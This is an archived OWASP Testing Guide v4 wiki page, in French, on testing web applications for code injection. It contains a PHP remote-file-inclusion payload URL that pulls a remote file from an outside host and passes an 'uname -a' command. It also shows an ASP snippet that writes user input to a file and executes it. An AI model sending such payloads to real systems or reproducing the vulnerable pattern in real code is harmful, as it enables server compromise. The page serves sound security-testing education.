This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
4.8.12 Tester les injections de code (OTG-INPVAL-012)
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project
Sommaire
Cette section décrit comment un testeur peut vérifier s'il est possible de saisir du code comme entrée sur une page web afin de le faire exécuter par le serveur web.
Lors des tests d'injection de code (Code Injection), un testeur envoie des entrées qui seront traîtées par le serveur web comme du code dynamique ou des fichiers inclus. Ces tests peuvent viser divers moteurs de scripts serveur, par exemple ASP ou PHP. La protection contre ces attaques passe par la validation des entrées et de bonnes pratiques de développement sécurisé.
Comment tester
Test en boite noire
Tester les vulnérabilités d'injection PHP
En utilisant la chaîne de requête, le testeur peut injecter du code (dans cet exemple, une URL malicieuse) qui sera traîté comme un fichier inclus :
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
Resultat attendu:
L'URL malicieuse est acceptée comme paramètre pour la page PHP, qui va utiliser plus tard cette valeur pour inclure le fichier.
Test en boite grise
Tester les vulnérabilités d'injection de code ASP
Il faut examiner le code pour repérer les entrées utilisateur utilisées pour exécuter des fonctions. L'utilisateur peut-il entrer dans commandes dans un champ de saisie de données ? Ici, le code ASP va entregistrer les entrées dans un fichier, puis les exécuter :
<% If not isEmpty(Request( "Data" ) ) Then Dim fso, f 'User input Data is written to a file named data.txt Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) f.Write Request("Data") & vbCrLf f.close Set f = nothing Set fso = Nothing
'Data.txt is executed Server.Execute( "data.txt" )
Else %> <form> <input name="Data" /><input type="submit" name="Enter Data" /> </form> <% End If %>)))
Références
- Security Focus - http://www.securityfocus.com
- Insecure.org - http://www.insecure.org
- Wikipedia - http://www.wikipedia.org
- Reviewing Code for OS Injection